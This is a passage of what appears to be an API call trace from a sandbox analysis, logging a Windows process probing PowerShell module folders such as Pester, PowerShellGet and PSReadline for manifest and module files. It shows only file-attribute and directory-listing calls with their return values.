Files\\WindowsPowerShell\\Modules\\Pester\\Pester.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.cdxml")) returned 0xffffffff [0241.899] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.xaml")) returned 0xffffffff [0241.899] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.ni.dll")) returned 0xffffffff [0241.899] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.dll")) returned 0xffffffff [0241.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0241.899] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0241.899] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0241.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885418 [0241.899] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.900] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0241.900] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0241.900] FindClose (in: hFindFile=0x7885418 | out: hFindFile=0x7885418) returned 1 [0241.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0241.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0241.900] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0241.901] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0241.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0241.901] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0241.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0241.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0241.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0241.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0241.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0241.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0241.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x53f40c8 | out: lpFileInformation=0x53f40c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0241.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0241.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0241.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0241.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0241.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0241.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0241.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0241.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0241.904] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0241.905] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0241.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885598 [0241.905] FindNextFileW (in: hFindFile=0x7885598, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.905] FindNextFileW (in: hFindFile=0x7885598, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1", cAlternateFileName="")) returned 1 [0241.905] FindNextFileW (in: hFindFile=0x7885598, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0241.906] FindNextFileW (in: hFindFile=0x7885598, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0241.906] FindClose (in: hFindFile=0x7885598 | out: hFindFile=0x7885598) returned 1 [0241.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0241.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0241.907] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0241.907] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0241.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0241.907] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0241.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0241.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0241.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0241.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0241.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0241.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0241.910] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x53f5abc | out: lpFileInformation=0x53f5abc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6)) returned 1 [0241.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0241.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0241.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0241.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0241.910] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0241.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0241.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0241.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0241.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0241.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0241.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0241.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1"), fInfoLevelId=0x0, lpFileInformation=0x53f5d14 | out: lpFileInformation=0x53f5d14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0241.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0241.915] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psd1")) returned 0xffffffff [0241.915] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.psm1")) returned 0xffffffff [0241.915] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.cdxml")) returned 0xffffffff [0241.915] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.xaml")) returned 0xffffffff [0241.915] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.ni.dll")) returned 0xffffffff [0241.915] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\PSReadline.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\psreadline.dll")) returned 0xffffffff [0241.918] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0241.936] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0242.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0242.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0242.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0242.132] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885418 [0242.135] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.135] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0242.136] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0242.136] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0242.136] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0242.136] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0242.136] FindClose (in: hFindFile=0x7885418 | out: hFindFile=0x7885418) returned 1 [0242.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0242.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0242.137] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0242.139] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0242.139] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0242.139] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0242.139] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0242.139] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0242.139] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | 